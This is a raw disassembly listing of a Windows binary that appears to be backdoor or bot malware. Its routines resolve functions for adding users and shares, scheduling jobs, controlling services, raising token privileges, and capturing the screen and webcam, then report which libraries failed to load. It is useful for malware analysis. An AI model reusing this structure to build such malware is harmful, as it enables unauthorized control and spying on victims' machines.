push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_43A334, eax
call esi ; GetProcAddress
cmp dword_43A364, ebx
mov dword_43A320, eax
jz short loc_408C47
cmp dword_43A278, ebx
jz short loc_408C47
cmp dword_43A334, ebx
jz short loc_408C47
cmp eax, ebx
jnz short loc_408C51
jmp short loc_408C47
; ---------------------------------------------------------------------------
loc_408C3C: ; CODE XREF: sub_4089F2+144j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43A464, eax
loc_408C47: ; CODE XREF: sub_4089F2+232j
; sub_4089F2+23Aj ...
mov dword_43A460, 1
loc_408C51: ; CODE XREF: sub_4089F2+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_408DEC
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_43A408, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_43A34C, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_43A3BC, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_43A2A4, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_43A304, eax
call esi ; GetProcAddress
cmp dword_43A408, ebx
mov dword_43A374, eax
jz short loc_408CDC
cmp dword_43A34C, ebx
jz short loc_408CDC
cmp dword_43A3BC, ebx
jz short loc_408CDC
cmp dword_43A2A4, ebx
jz short loc_408CDC
cmp dword_43A304, ebx
jz short loc_408CDC
cmp eax, ebx
jnz short loc_408CE6
loc_408CDC: ; CODE XREF: sub_4089F2+2C4j
; sub_4089F2+2CCj ...
mov dword_43A468, 1
loc_408CE6: ; CODE XREF: sub_4089F2+2E8j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_43A37C, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_43A354, eax
call esi ; GetProcAddress
cmp dword_43A37C, ebx
mov dword_43A404, eax
jz short loc_408D21
cmp dword_43A354, ebx
jz short loc_408D21
cmp eax, ebx
jnz short loc_408D2B
loc_408D21: ; CODE XREF: sub_4089F2+321j
; sub_4089F2+329j
mov dword_43A468, 1
loc_408D2B: ; CODE XREF: sub_4089F2+32Dj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_43A38C, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_43A280, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_43A288, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_43A2E8, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_43A2EC, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_43A29C, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_43A358, eax
call esi ; GetProcAddress
cmp dword_43A38C, ebx
mov dword_43A28C, eax
jz short loc_408DCF
cmp dword_43A280, ebx
jz short loc_408DCF
cmp dword_43A288, ebx
jz short loc_408DCF
cmp dword_43A2E8, ebx
jz short loc_408DCF
cmp dword_43A2EC, ebx
jz short loc_408DCF
cmp dword_43A29C, ebx
jz short loc_408DCF
cmp dword_43A358, ebx
jz short loc_408DCF
cmp eax, ebx
jnz short loc_408DD9
loc_408DCF: ; CODE XREF: sub_4089F2+3A7j
; sub_4089F2+3AFj ...
mov dword_43A468, 1
loc_408DD9: ; CODE XREF: sub_4089F2+3DBj
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_43A284, eax
jnz short loc_408E01
jmp short loc_408DF7
; ---------------------------------------------------------------------------
loc_408DEC: ; CODE XREF: sub_4089F2+26Aj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43A46C, eax
loc_408DF7: ; CODE XREF: sub_4089F2+3F8j
mov dword_43A468, 1
loc_408E01: ; CODE XREF: sub_4089F2+3F6j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_408ECD
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_43A384, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_43A3DC, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_43A3E4, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_43A3A0, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_43A2C8, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_43A274, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_43A3E0, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_43A260, eax
call esi ; GetProcAddress
cmp dword_43A384, ebx
mov dword_43A2FC, eax
jz short loc_408ED8
cmp dword_43A3DC, ebx
jz short loc_408ED8
cmp dword_43A3E4, ebx
jz short loc_408ED8
cmp dword_43A3A0, ebx
jz short loc_408ED8
cmp dword_43A2C8, ebx
jz short loc_408ED8
cmp dword_43A274, ebx
jz short loc_408ED8
cmp dword_43A3E0, ebx
jz short loc_408ED8
cmp dword_43A260, ebx
jz short loc_408ED8
cmp eax, ebx
jnz short loc_408EE2
jmp short loc_408ED8
; ---------------------------------------------------------------------------
loc_408ECD: ; CODE XREF: sub_4089F2+41Aj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43A474, eax
loc_408ED8: ; CODE XREF: sub_4089F2+49Bj
; sub_4089F2+4A3j ...
mov dword_43A470, 1
loc_408EE2: ; CODE XREF: sub_4089F2+4D7j
mov ebp, dword_4210C0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40919E
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_43A310, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_43A43C, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_43A2B4, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_43A290, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_43A344, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_43A32C, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_43A2F8, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_43A418, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_43A434, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_43A340, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_43A424, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_43A3D8, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_43A398, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_43A394, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_43A2D4, eax
call esi ; GetProcAddress
push offset aSend ; "send"
push edi
mov dword_43A2CC, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_43A3E8, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_43A3FC, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_43A3B0, eax
call esi ; GetProcAddress
mov dword_43A370, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_43A3C4, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_43A380, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_43A3C0, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_43A42C, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_43A378, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_43A33C, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_43A3AC, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_43A41C, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_43A350, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_43A2F4, eax
call esi ; GetProcAddress
cmp dword_43A310, ebx
mov dword_43A430, eax
jz loc_4091A9
cmp dword_43A43C, ebx
jz loc_4091A9
cmp dword_43A2B4, ebx
jz loc_4091A9
cmp dword_43A344, ebx
jz loc_4091A9
cmp dword_43A32C, ebx
jz loc_4091A9
cmp dword_43A2F8, ebx
jz loc_4091A9
cmp dword_43A418, ebx
jz loc_4091A9
cmp dword_43A434, ebx
jz loc_4091A9
cmp dword_43A340, ebx
jz loc_4091A9
cmp dword_43A424, ebx
jz loc_4091A9
cmp dword_43A3D8, ebx
jz loc_4091A9
cmp dword_43A398, ebx
jz loc_4091A9
cmp dword_43A394, ebx
jz loc_4091A9
cmp dword_43A2D4, ebx
jz short loc_4091A9
cmp dword_43A3E8, ebx
jz short loc_4091A9
cmp dword_43A3FC, ebx
jz short loc_4091A9
cmp dword_43A3B0, ebx
jz short loc_4091A9
cmp dword_43A370, ebx
jz short loc_4091A9
cmp dword_43A3C4, ebx
jz short loc_4091A9
cmp dword_43A380, ebx
jz short loc_4091A9
cmp dword_43A3C0, ebx
jz short loc_4091A9
cmp dword_43A42C, ebx
jz short loc_4091A9
cmp dword_43A378, ebx
jz short loc_4091A9
cmp dword_43A33C, ebx
jz short loc_4091A9
cmp dword_43A3AC, ebx
jz short loc_4091A9
cmp dword_43A41C, ebx
jz short loc_4091A9
cmp dword_43A350, ebx
jz short loc_4091A9
cmp eax, ebx
jnz short loc_4091B3
jmp short loc_4091A9
; ---------------------------------------------------------------------------
loc_40919E: ; CODE XREF: sub_4089F2+501j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43A47C, eax
loc_4091A9: ; CODE XREF: sub_4089F2+6A0j
; sub_4089F2+6ACj ...
mov dword_43A478, 1
loc_4091B3: ; CODE XREF: sub_4089F2+7A8j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4092B8
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_43A2DC, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_43A268, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_43A360, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_43A314, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_43A36C, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_43A330, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_43A2A8, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_43A2A0, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_43A2B0, eax
call esi ; GetProcAddress
cmp dword_43A2DC, ebx
mov ecx, dword_43A330
mov dword_43A3CC, eax
jz short loc_409294
cmp dword_43A268, ebx
jz short loc_409294
cmp dword_43A360, ebx
jz short loc_409294
cmp dword_43A314, ebx
jz short loc_409294
cmp dword_43A36C, ebx
jz short loc_409294
cmp ecx, ebx
jz short loc_409294
cmp dword_43A2A8, ebx
jz short loc_409294
cmp dword_43A2A0, ebx
jz short loc_409294
cmp dword_43A2B0, ebx
jz short loc_409294
cmp eax, ebx
jnz short loc_40929E
loc_409294: ; CODE XREF: sub_4089F2+860j
; sub_4089F2+868j ...
mov dword_43A480, 1
loc_40929E: ; CODE XREF: sub_4089F2+8A0j
cmp ecx, ebx
jz short loc_4092D3
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_43A348, eax
jnz short loc_4092D3
jmp short loc_4092CD
; ---------------------------------------------------------------------------
loc_4092B8: ; CODE XREF: sub_4089F2+7CCj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43A484, eax
mov dword_43A480, 1
loc_4092CD: ; CODE XREF: sub_4089F2+8C4j
mov dword_43A348, ebx
loc_4092D3: ; CODE XREF: sub_4089F2+8AEj
; sub_4089F2+8C2j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40931D
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_43A324, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_43A450, eax
call esi ; GetProcAddress
cmp dword_43A324, ebx
mov dword_43A2BC, eax
jz short loc_409328
cmp dword_43A450, ebx
jz short loc_409328
cmp eax, ebx
jnz short loc_409332
jmp short loc_409328
; ---------------------------------------------------------------------------
loc_40931D: ; CODE XREF: sub_4089F2+8ECj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43A48C, eax
loc_409328: ; CODE XREF: sub_4089F2+91Bj
; sub_4089F2+923j ...
mov dword_43A488, 1
loc_409332: ; CODE XREF: sub_4089F2+927j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409428
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_43A298, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_43A270, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_43A2E4, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_43A318, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_43A428, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_43A2D0, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_43A27C, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_43A26C, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_43A300, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_43A3F0, eax
call esi ; GetProcAddress
cmp dword_43A298, ebx
mov dword_43A3A8, eax
jz short loc_409433
cmp dword_43A270, ebx
jz short loc_409433
cmp dword_43A2E4, ebx
jz short loc_409433
cmp dword_43A318, ebx
jz short loc_409433
cmp dword_43A428, ebx
jz short loc_409433
cmp dword_43A2D0, ebx
jz short loc_409433
cmp dword_43A27C, ebx
jz short loc_409433
cmp dword_43A26C, ebx
jz short loc_409433
cmp dword_43A300, ebx
jz short loc_409433
cmp dword_43A3F0, ebx
jz short loc_409433
cmp eax, ebx
jnz short loc_40943D
jmp short loc_409433
; ---------------------------------------------------------------------------
loc_409428: ; CODE XREF: sub_4089F2+94Bj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43A494, eax
loc_409433: ; CODE XREF: sub_4089F2+9E6j
; sub_4089F2+9EEj ...
mov dword_43A490, 1
loc_40943D: ; CODE XREF: sub_4089F2+A32j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409472
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_43A2C0, eax
call esi ; GetProcAddress
cmp dword_43A2C0, ebx
mov dword_43A390, eax
jz short loc_40947D
cmp eax, ebx
jnz short loc_409487
jmp short loc_40947D
; ---------------------------------------------------------------------------
loc_409472: ; CODE XREF: sub_4089F2+A56j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43A49C, eax
loc_40947D: ; CODE XREF: sub_4089F2+A78j
; sub_4089F2+A7Ej
mov dword_43A498, 1
loc_409487: ; CODE XREF: sub_4089F2+A7Cj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4094BC
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_43A414, eax
call esi ; GetProcAddress
cmp dword_43A414, ebx
mov dword_43A410, eax
jz short loc_4094C7
cmp eax, ebx
jnz short loc_4094D1
jmp short loc_4094C7
; ---------------------------------------------------------------------------
loc_4094BC: ; CODE XREF: sub_4089F2+AA0j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43A4A4, eax
loc_4094C7: ; CODE XREF: sub_4089F2+AC2j
; sub_4089F2+AC8j
mov dword_43A4A0, 1
loc_4094D1: ; CODE XREF: sub_4089F2+AC6j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409530
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_43A440, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_43A438, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_43A400, eax
call esi ; GetProcAddress
cmp dword_43A440, ebx
mov dword_43A2D8, eax
jz short loc_40953B
cmp dword_43A438, ebx
jz short loc_40953B
cmp dword_43A400, ebx
jz short loc_40953B
cmp eax, ebx
jnz short loc_409545
jmp short loc_40953B
; ---------------------------------------------------------------------------
loc_409530: ; CODE XREF: sub_4089F2+AEAj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43A4AC, eax
loc_40953B: ; CODE XREF: sub_4089F2+B26j
; sub_4089F2+B2Ej ...
mov dword_43A4A8, 1
loc_409545: ; CODE XREF: sub_4089F2+B3Aj
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40957A
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_43A30C, eax
call esi ; GetProcAddress
cmp dword_43A30C, ebx
mov dword_43A40C, eax
jz short loc_409585
cmp eax, ebx
jnz short loc_40958F
jmp short loc_409585
; ---------------------------------------------------------------------------
loc_40957A: ; CODE XREF: sub_4089F2+B5Ej
call dword_421088 ; RtlGetLastWin32Error
mov dword_43A4B4, eax
loc_409585: ; CODE XREF: sub_4089F2+B80j
; sub_4089F2+B86j
mov dword_43A4B0, 1
loc_40958F: ; CODE XREF: sub_4089F2+B84j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409618
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_43A3D4, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_43A420, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_43A35C, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_43A31C, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_43A3B4, eax
call esi ; GetProcAddress
cmp dword_43A3D4, ebx
mov dword_43A328, eax
jz short loc_409623
cmp dword_43A420, ebx
jz short loc_409623
cmp dword_43A35C, ebx
jz short loc_409623
cmp dword_43A31C, ebx
jz short loc_409623
cmp dword_43A3B4, ebx
jz short loc_409623
cmp eax, ebx
jnz short loc_40962D
jmp short loc_409623
; ---------------------------------------------------------------------------
loc_409618: ; CODE XREF: sub_4089F2+BA8j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43A4BC, eax
loc_409623: ; CODE XREF: sub_4089F2+BFEj
; sub_4089F2+C06j ...
mov dword_43A4B8, 1
loc_40962D: ; CODE XREF: sub_4089F2+C22j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409662
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_43A2F0, eax
call esi ; GetProcAddress
cmp dword_43A2F0, ebx
mov dword_43A3C8, eax
jz short loc_40966D
cmp eax, ebx
jnz short loc_409677
jmp short loc_40966D
; ---------------------------------------------------------------------------
loc_409662: ; CODE XREF: sub_4089F2+C46j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43A4C4, eax
loc_40966D: ; CODE XREF: sub_4089F2+C68j
; sub_4089F2+C6Ej
mov dword_43A4C0, 1
loc_409677: ; CODE XREF: sub_4089F2+C6Cj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4089F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40967F proc near ; CODE XREF: sub_40CE55+51F9p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_43A458, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_4096C7
push dword_43A45C
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_4096C7: ; CODE XREF: sub_40967F+1Aj
cmp dword_43A460, esi
jz short loc_4096FB
push dword_43A464
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_4096FB: ; CODE XREF: sub_40967F+4Ej
cmp dword_43A468, esi
jz short loc_40972F
push dword_43A46C
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_40972F: ; CODE XREF: sub_40967F+82j
cmp dword_43A470, esi
jz short loc_409763
push dword_43A474
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_409763: ; CODE XREF: sub_40967F+B6j
cmp dword_43A478, esi
jz short loc_409797
push dword_43A47C
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_409797: ; CODE XREF: sub_40967F+EAj
cmp dword_43A480, esi
jz short loc_4097CB
push dword_43A484
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_4097CB: ; CODE XREF: sub_40967F+11Ej
cmp dword_43A488, esi
jz short loc_4097FF
push dword_43A48C
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_4097FF: ; CODE XREF: sub_40967F+152j
cmp dword_43A490, esi
jz short loc_409833
push dword_43A494
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_409833: ; CODE XREF: sub_40967F+186j
cmp dword_43A498, esi
jz short loc_409867
push dword_43A49C
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_409867: ; CODE XREF: sub_40967F+1BAj
cmp dword_43A4A0, esi
jz short loc_40989B
push dword_43A4A4
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_40989B: ; CODE XREF: sub_40967F+1EEj
cmp dword_43A4A8, esi
jz short loc_4098CF
push dword_43A4AC
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_4098CF: ; CODE XREF: sub_40967F+222j
cmp dword_43A4B0, esi
jz short loc_409903
push dword_43A4B4
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_409903: ; CODE XREF: sub_40967F+256j
cmp dword_43A4B8, esi
jz short loc_409937
push dword_43A4BC
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_409937: ; CODE XREF: sub_40967F+28Aj
cmp dword_43A4C0, esi
jz short loc_40996B
push dword_43A4C4
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_4154E7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 20h
loc_40996B: ; CODE XREF: sub_40967F+2BEj
lea eax, [ebp+var_200]
push offset dword_429A0C
push eax
call sub_4154E7
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_409998
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_409998: ; CODE XREF: sub_40967F+302j
lea eax, [ebp+var_200]
push eax
call sub_40B16D
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40967F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4099AA proc near ; CODE XREF: sub_40CE55+C50p
; sub_40CE55+C84p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_409A35
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_409A35
cmp [ebp+arg_8], esi
jz short loc_409A35
cmp byte ptr [eax], 0
jz short loc_409A35
push ebx
push edi
call sub_41FD7B
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_409A30
push [ebp+arg_4]
push edi
call sub_415AC0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_409A29
sub eax, edi
push eax
push edi
push ebx
call sub_416D40
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_415CF0
push eax
push [ebp+arg_8]
push ebx
call sub_416F10
push [ebp+arg_4]
call sub_415CF0
add eax, esi
push eax
push ebx
call sub_415C10
push ebx
push edi
call sub_415C00
add esp, 30h
mov esi, edi
